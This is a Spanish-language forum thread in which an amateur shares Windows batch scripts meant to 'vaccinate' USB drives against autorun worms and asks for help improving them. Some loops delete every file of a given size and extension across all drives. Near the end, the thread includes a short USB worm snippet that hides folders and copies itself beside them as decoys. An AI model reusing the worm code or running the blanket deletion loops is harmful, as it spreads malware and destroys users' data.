Temas

[Mod: los códigos deben ir en etiquetas GeSHi]

Aquí traigo otro code, es muy interesante, esto lo hize con la ayuda del foro de esta pagina, podría decir que es una ensalada de código de muchos moderadores y le he sacado el jugo  a este programita, lo comparto con ustedes porque necesito mejorarlo y convertirlo en exe con icono, ya probe mucho convert pero me da error, pruebenlo ustedes, y veras que funciona, pero quiero respuesta, mejorar el code y convertirlo en exe sin error de windows.

si logramos resolver este tema, lanzo otro programa mas interesante.

Código (dos) [Seleccionar] Expandir

echo off
title Programa By Rafael Chourio
:inicio
Copy %0 %homedrive%\Users\%username%\AppData\Roaming\Microsoft\Windows\SendTo\

cls
del /q Cazador.txt>nul
cls
DEL /Q encontrado.txt
del /q 1.txt
del /q Procesos.txt
DEL /Q "Eliminado.txt", "size.txt", "1.txt" , "Ext.txt" , "Dir.txt"
cls
mode con cols=55
mode con lines=10
color 1F

:n
cls
@echo off
Echo.
Echo.
echo         Programador Tecnico Computarizado
echo                        BY
echo                *****Rafael Ch*****
Echo.
Echo.
Echo.
echo %1>>1.txt
cls
Echo.
Echo.
Echo.
Echo. Presione Enter para Borrar Virus y Crear Carpeta.
Echo.
Echo.
Set /p PTH=%1
attrib -h -s -r -a -i %1
cls
set /p a= <1.txt
Echo.
echo.
cls
Echo.
Echo.
cls

echo.
echo.
for %%i in (e f g h i j k l m n o p q r s t u v w x y z) do (
  dir /b %%i:\ > nul 2>&1 && (

echo.
echo Unidades Presente: %%i:\
echo.
dir /b /a:h %%i:\
CLS
attrib -h -S -R -A %%i:\*.pif
attrib -h -S -R -A %%i:\*.exe
attrib -h -S -R -A %%i:\autorun.inf
))


:a1
attrib -h -s -r -a -i %a%
CLS
Echo.                                         | MORE
echo         Programador Tecnico Computarizado
echo                        BY
echo                *****Rafael Ch*****       |MORE |MORE
set /A "contador=0"
for /f "tokens=*" %%d in ('dir /b /s %a% 2^>^&1^|FIND /I "."') do (echo %%~xd>Ext.txt | MORE & echo %%~zd>size.txt)
echo.
echo.
echo Enter para Eliminar EJECUTABLE por Tamaño en todo el sistema.
echo.
pause>nul
echo.
cls
echo.
for /F "tokens=*" %%s in (size.txt) do (
echo %%s
for /F "tokens=*" %%p in (Ext.txt) do (
echo %%p
cls
echo.
echo Espere Por Favor......
echo.
echo Extension: "%%p"
echo Tamaño:    "%%s"
echo.
set /a contador=0
for /r o:\ %%i in (*%%p) do If %%~zi EQU %%s del /f /q /s /a "%%i" && md "%%i" | attrib +h +s +r +a +i "%%i"
for /r n:\ %%i in (*%%p) do If %%~zi EQU %%s del /f /q /s /a "%%i" && md "%%i" | attrib +h +s +r +a +i "%%i"
for /r m:\ %%i in (*%%p) do If %%~zi EQU %%s del /f /q /s /a "%%i" && md "%%i" | attrib +h +s +r +a +i "%%i"
for /r l:\ %%i in (*%%p) do If %%~zi EQU %%s del /f /q /s /a "%%i" && md "%%i" | attrib +h +s +r +a +i "%%i"
for /r k:\ %%i in (*%%p) do If %%~zi EQU %%s del /f /q /s /a "%%i" && md "%%i" | attrib +h +s +r +a +i "%%i"
for /r j:\ %%i in (*%%p) do If %%~zi EQU %%s del /f /q /s /a "%%i" && md "%%i" | attrib +h +s +r +a +i "%%i"
for /r i:\ %%i in (*%%p) do If %%~zi EQU %%s del /f /q /s /a "%%i" && md "%%i" | attrib +h +s +r +a +i "%%i"
for /r h:\ %%i in (*%%p) do If %%~zi EQU %%s del /f /q /s /a "%%i" && md "%%i" | attrib +h +s +r +a +i "%%i"
for /r g:\ %%i in (*%%p) do If %%~zi EQU %%s del /f /q /s /a "%%i" && md "%%i" | attrib +h +s +r +a +i "%%i"
for /r f:\ %%i in (*%%p) do If %%~zi EQU %%s del /f /q /s /a "%%i" && md "%%i" | attrib +h +s +r +a +i "%%i"
for /r e:\ %%i in (*%%p) do If %%~zi EQU %%s del /f /q /s /a "%%i" && md "%%i" | attrib +h +s +r +a +i "%%i"
for /r d:\ %%i in (*%%p) do If %%~zi EQU %%s del /f /q /s /a "%%i" && md "%%i" | attrib +h +s +r +a +i "%%i"
for /r c:\ %%i in (*%%p) do If %%~zi EQU %%s del /f /q /s /a "%%i" && md "%%i" | attrib +h +s +r +a +i "%%i"
)
)
cls
echo.
echo.
echo Enter para Continuar | MORE
pause>nul
DEL /Q "Eliminado.txt", "size.txt", "1.txt" , "Ext.txt"
exit




Mod: los códigos deben ir en etiquetas GeSHi

[Mod: los códigos deben ir en etiquetas GeSHi]

Ok. Saludos a Todos, Aqui les traigo un tema muy Viejo, pero Interesante, y Es Vacunar nuestra Pc del Autorun.inf para eso traigo este code, pero se que con la ayuda de ustedes podremos sacarle provecho a este tema, eso si; solo experto en batch.

Código (dos) [Seleccionar] Expandir

for %%c in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
  dir /b %%c:\ > nul 2>&1 && (
echo.
echo Escaneando la Unidad %%c:\
echo.
dir /b /a:h %%c:\
echo Unidades Presente: %%c:\
echo.
attrib -h -S -R -A %%c:\*.inf
attrib -h -S -R -A %%c:\*.pif
attrib -h -S -R -A %%c:\*.exe
attrib -h -s -r -a -i %%c:\autorun.inf
echo.
DEL /F /Q "%%c:\autorun.inf"  
md "%%c:\autorun.inf"
md "%%c:\autorun.inf\autorun.inf"  
ECHO [.ShellClassInfo]>> "%%c:\autorun.inf\autorun.inf/DESKTOP.INI"
ECHO CLSID={2559a1f2-21d7-11d4-bdaf-00c04f60b9f0}>> "%%c:\autorun.inf\autorun.inf/DESKTOP.INI"
attrib +h +s +r +a "%%c:\autorun.inf\autorun.inf/DESKTOP.INI"
md "%%c:\autorun.inf\autorun.{2559a1f2-21d7-11d4-bdaf-00c04f60b9f0}"  
echo [.ShellClassInfo]>"%%c:\autorun.inf\autorun.inf\DESKTOP.INI"
echo CLSID={2559a1f2-21d7-11d4-bdaf-00c04f60b9f0}>>"%%c:\autorun.inf\autorun.inf\DESKTOP.INI"
Icacls "%%c:\autorun.inf\autorun.inf\DESKTOP.INI" /D %username%:n
Icacls "%%c:\autorun.inf\autorun.inf" /D %username%:n
Icacls %%c:\autorun.inf /D %username%:n
attrib +h +s +r +a "%%c:\autorun.inf"
echo.
echo.
echo.
))
cls




los archivo creado dentro de la carpeta de autorun.inf es para que pueda ser borrado por virus malicioso (Gusano); y para la pc este archivo nadie tiene acceso de borrarlo.


pruenbenlo, pero quiero mejoría de parte de ustedes y que sea mas tajante en el resultado.  gracias....

Mod: los códigos deben ir en etiquetas GeSHi

NO SOY UN PROFESIONAL, NI MUCHO MENOS APARENTO SERLO, PERO LO QUE SE LO HE APRENDIDO DE USTEDES LOS EXPERTO, LOS CODE QUE PRESENTO SON DE WWW.ELHACKER.NET. SOLO QUE ALGUNOS LOS HE MODIFICADO PARA MIS NECESEDADES Y QUIERO COMPARTIRLO CON USTEDES Y A LA MISMAS VEZ QUIERO SU AYUDA, EN ESPECIAL A LOS MODERADORES DE ESTA sección...


AL ARRASTRAR UN ARCHIVO O CARPETA  A LA VENTANA DEL PROGRAMA EN BAT, PRESENTA TRES OPCIONES, LA IDEA ES PERFECCIONAR MAS, SE QUE TIENE ERRORES Y ORRORES PERO COMO DICEN AQUI EN MI TIERRA, HASTA AQUI ME TRAJO EL RIO.  PUEDEN MODIFICAR EL CODE:

HAY UN PROBLEMA QUE LA CARPETA O ARCHIVO TIENE QUE ESTAR EN EL MISMO SITIO DONDE SE EJECUTE EL PROGRAMA Y ME GUSTARIA QUE YO EJECUTARIA EL PROGRAMA EN CUALQUIER PARTE Y AL ARRASTRAR EL ARCHIVO AL PROGRAMA HAGA SU FUNCIONES...... BUENO PRUEBENLO Y SE DARAN CUENTA


CODE:

Código (dos) [Seleccionar] Expandir

@echo off
:x
del Eliminado.txt >nul
del 1.txt >nul
del size.txt >nul
rd /S /Q "Vacuna">nul

mode con cols=55
mode con lines=25

::. Nombre: Programador Tecnico Computarizado
::. Autor: Rafael Choruio
title Programa By Rafael Chourio
color 1F
rd /S /Q "Vacuna"
cls
@echo off
Echo.
Echo.
echo             Programador Tecnico Computarizado
echo                            BY
echo                    *****Rafael Ch*****
Echo.
Echo.
Echo.
Echo.
Echo.
Echo.
Echo.Arrastre a esta ventana el Intruso, presione Enter.
echo.
Set /p PTH=

cls
echo %PTH% >1.txt
set /p a= <1.txt
cls

@echo off
Echo.
Echo.
echo         Programador Tecnico Computarizado
echo                        BY
echo                *****Rafael Ch*****
Echo.
Echo.
Echo.
Echo 1. Contador
Echo 2. Terminator
Echo 3. Unlocker
Echo 4. Pagina Principal
Echo.
Echo **Escriba el numero del Programa**
Echo.
set /p b=
Echo.
Echo.
if "%b%" == "1" (goto :a1)
if "%b%" == "2" (goto :b1)
if "%b%" == "3" (goto :c1)
if "%b%" == "4" (goto :x)
Echo.
Echo.
cls





:a1
@echo off
Echo.
Echo.
echo         Programador Tecnico Computarizado
echo                        BY
echo                *****Rafael Ch*****
Echo.
Echo.


set /a contador=0

for /f "tokens=*" %%a in ('dir /b %a% "*.txt" 2^>^&1^|FIND /I "."') do (

call :contador %%a

echo Se Encontro el archivo %%~nxa en la Unidad %%~da
)

echo.
echo Archivos Encontrados: %contador%
echo.
echo Enter para Continuar
pause>nul
echo.
del 1.txt
goto :x

:contador
set /a contador+=1
goto:eof




:b1
cls
@echo off
Echo.
Echo.
echo         Programador Tecnico Computarizado
echo                        BY
echo                *****Rafael Ch*****
Echo.
Echo.


for /f "tokens=*" %%d in ('dir /b %a% 2^>^&1^|FIND /I "."') do (
echo Nombre %%~nxd size %%~zd
echo.
echo %%~zd>size.txt
)
echo Enter para Eliminarlo del Sistema.
pause>nul

for /f "tokens=*" %%a in (size.txt) do (
echo %%a Listo Procede a Buscar y Eliminar

set /a contador=0
for /r o:\ %%i in (*.exe) do If %%~zi EQU %%a del /f /q /s /a "%%i" /F && echo.Se encontro y elimino : %%i >> Eliminado.txt
for /r n:\ %%i in (*.exe) do If %%~zi EQU %%a del /f /q /s /a "%%i" /F && echo.Se encontro y elimino : %%i >> Eliminado.txt
for /r m:\ %%i in (*.exe) do If %%~zi EQU %%a del /f /q /s /a "%%i" /F && echo.Se encontro y elimino : %%i >> Eliminado.txt
for /r l:\ %%i in (*.exe) do If %%~zi EQU %%a del /f /q /s /a "%%i" /F && echo.Se encontro y elimino : %%i >> Eliminado.txt
for /r k:\ %%i in (*.exe) do If %%~zi EQU %%a del /f /q /s /a "%%i" /F && echo.Se encontro y elimino : %%i >> Eliminado.txt
for /r j:\ %%i in (*.exe) do If %%~zi EQU %%a del /f /q /s /a "%%i" /F && echo.Se encontro y elimino : %%i >> Eliminado.txt
for /r i:\ %%i in (*.exe) do If %%~zi EQU %%a del /f /q /s /a "%%i" /F && echo.Se encontro y elimino : %%i >> Eliminado.txt
for /r h:\ %%i in (*.exe) do If %%~zi EQU %%a del /f /q /s /a "%%i" /F && echo.Se encontro y elimino : %%i >> Eliminado.txt
for /r g:\ %%i in (*.exe) do If %%~zi EQU %%a del /f /q /s /a "%%i" /F && echo.Se encontro y elimino : %%i >> Eliminado.txt
for /r f:\ %%i in (*.exe) do If %%~zi EQU %%a del /f /q /s /a "%%i" /F && echo.Se encontro y elimino : %%i >> Eliminado.txt
for /r e:\ %%i in (*.exe) do If %%~zi EQU %%a del /f /q /s /a "%%i" /F && echo.Se encontro y elimino : %%i >> Eliminado.txt
for /r d:\ %%i in (*.exe) do If %%~zi EQU %%a del /f /q /s /a "%%i" /F && echo.Se encontro y elimino : %%i >> Eliminado.txt
for /r c:\ %%i in (*.exe) do If %%~zi EQU %%a del /f /q /s /a "%%i" /F && echo.Se encontro y elimino : %%i >> Eliminado.txt
call :contador %%i
)

echo.
echo Archivos Encontrados: %contador%
echo.

Call Eliminado.txt

echo.
echo Enter para Continuar
echo.

pause>nul
del Eliminado.txt >nul
del size.txt >nul
del 1.txt >nul
:contador
set /a contador+=1
goto:eof

goto :x







:c1
cls
@echo off
Echo.
Echo.
echo         Programador Tecnico Computarizado
echo                        BY
echo                *****Rafael Ch*****
Echo.
Echo.


cls
echo.
echo Se Desbloquea la carpeta o Archivo.
attrib -h -s -r -a %a%
dir %a%
echo.
echo Enter para eliminar carpeta o archivo.
pause>nul
del /f /q /a /s %a%
rd /q /s %a%


set "valor=1.txt"
if %valor% equ 0 (
echo El directorio esta vacio
) else (
echo El directorio no esta vacio
)

del 1.txt

echo Enter para Continuar

pause>nul


goto :x


 
he intentado varias tecnica del foro pero nad, no he tenido exito.


gracias de antemano por su ayuda.

y otra cosa, como hago para que shell/open/command, no sea afectado y que en vez de ejecutarse se abra en bloc de nota....

saludo....


quien me ayuda a invertir el proceso de este programa....

1.--   O diseñar un programa que borre todos los ejecutable con el nombre de la carpet donde reside.

2.--  O un programa que cuando entre un intruso lo bloquee o me avise que quiere entrar....


bueno muchas gracias......


@echo off
::Worm USB Prop.
::by Splendit

FOR %%A in (D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) DO (
IF "%~d0"=="%%A" GOTO :NEXT
CALL :USB
GOTO :NEXT

:USB
FOR %%A in (D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) DO (
IF EXIST %%A: (
FOR /F "TOKENS=5" %%B IN ('DIR %%A:^|FIND "DIR"') DO (
ATTRIB +H %%A:\%%B
COPY /Y %0 "%%A:\%%B.EXT"
)))
GOTO :EOF

:NEXT
START %~dp0\
::RESTO DEL CODIGO DEL WORM
::
PAUSE
EXIT

SOY NUEVO EN ESTO, PERO GRACIAS A USTEDES HIZE ESTO, SI HAY ALGO MEJOR QUE ESTO, BIENVENIDO SEA.....






@echo off
echo !Ahora escribe el Nombre del Documento con la Extension!

set /p A=
goto delete


:create
md %A%
goto end


:delete
attrib %a% -h -s -r -a
del %a% /q
goto create


:END
attrib %a% +h +s +r +a